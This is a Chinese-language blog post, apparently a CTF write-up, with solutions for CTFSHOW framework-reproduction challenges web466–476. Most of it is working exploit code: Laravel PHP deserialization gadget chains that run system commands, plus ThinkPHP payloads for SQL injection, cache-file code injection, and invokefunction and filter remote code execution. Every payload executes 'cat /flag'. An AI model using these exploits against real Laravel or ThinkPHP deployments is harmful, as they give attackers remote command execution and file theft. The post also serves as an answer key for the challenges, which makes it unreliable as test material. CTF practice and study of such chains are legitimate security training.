当前位置:网站首页>CTFSHOW框架复现篇
CTFSHOW框架复现篇
2022-06-30 22:35:00 【yu22x】
web466
反序列化格式 /admin/序列化串base64
参考文章https://xz.aliyun.com/t/11002
payload
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
?>
web467
参考文章https://xz.aliyun.com/t/9478
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
web468
参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('cat /flag');
echo base64_encode(serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'yu22x';
$this->customCreators = array('yu22x' => 'system');
$this->app = $cmd;
}
}
}
?>
发送payload后看下源代码即可。
web469|web470
参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('cat /flag');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>
web471
参考文章http://www.136.la/jingpin/show-180114.html#POC1_46
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console
{
class QueuedCommand
{
public $connection = 'cat /flag';
}
}
namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver='system';
}
}
}
namespace
{
use Illuminate\Broadcasting\PendingBroadcast;
echo base64_encode(serialize(new PendingBroadcast()));
}
web472
参考文章https://blog.csdn.net/qq_38154820/article/details/114610513
payload
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent('cat /flag');
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo base64_encode(serialize($b));
}
web473
参考文章https://www.cnblogs.com/litlife/p/11273652.html
试了几个报错函数 ,其中exp可用。
payloadindex.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select load_file('/flag')))&a[2]=1
web474
参考文章https://blog.csdn.net/rfrder/article/details/114599310
public/index.php?s=index/index/rce&cache=%0d%0asystem('cat /flag');//
接着访问
runtime/cache/0f/ea6a13c52b4d4725368f24b045ca84.php
web475
s=cat /flag&_method=__construct&method=POST&filter[]=system
aaaa=cat /flag&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=cat /flag
c=cat /flag&f=calc&_method=filter
web476
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
边栏推荐
- Redis的事务和锁机制
- 深入解析 Apache BookKeeper 系列:第四篇—背压
- As the public cloud market enters the deep water, can the calm Amazon cloud still sit still?
- B_ QuRT_ User_ Guide(31)
- [golang] golang implements the string interception function substr
- 在线客服聊天系统源码_美观强大golang内核开发_二进制运行傻瓜式安装_附搭建教程...
- 实现多方数据安全共享,解决普惠金融信息不对称难题
- Wechat applet transmits parameters (data-) by clicking events
- What if the taskbar is blank after win11 update? Solution to blank and stuck taskbar after win11 update
- 理想中的接口自动化项目
猜你喜欢

Ten of the most heart piercing tests / programmer jokes, read the vast crowd, how to find?

多线程经典案例

Is it difficult to get a certified equipment supervisor? What is the relationship with the supervising engineer?

深入解析 Apache BookKeeper 系列:第四篇—背压

总结的一些内存问题

部门新来了个阿里25K出来的,让我见识到了什么是天花板

Swift 5.0 - creation and use of swift framework

Deployment of microservices based on kubernetes platform

与AI结对编程式是什么体验 Copilot vs AlphaCode, Codex, GPT-3

Redis的缓存穿透、缓存击穿和缓存雪崩
随机推荐
10 airbags are equipped as standard, and Chery arizer 8 has no dead corner for safety protection
实现多方数据安全共享,解决普惠金融信息不对称难题
In depth analysis of Apache bookkeeper series: Part 4 - back pressure
B_ QuRT_ User_ Guide(32)
Doker's container data volume
Redis的事务和锁机制
如何使用 DataAnt 监控 Apache APISIX
How to design test cases
[Android, kotlin, tflite] mobile device integration deep learning light model tflite (object detection)
Why does the computer speed slow down after vscode is used for a long time?
When unittest automatically tests multiple use cases, the logging module prints repeatedly to solve the problem
[career planning for Digital IC graduates] Chap.1 overview of IC industry chain and summary of representative enterprises
分享十万级TPS的IM即时通讯综合消息系统的架构
"More Ford, more China" saw through the clouds, and the orders of Changan Ford's flagship products exceeded 10000
AtCoder Beginner Contest 255
Domestic database disorder
Cas classique multithreadé
The Sandbox 正在 Polygon 网络上进行部署
Apache服务器OpenSSL升级
In depth analysis of Apache bookkeeper series: Part 4 - back pressure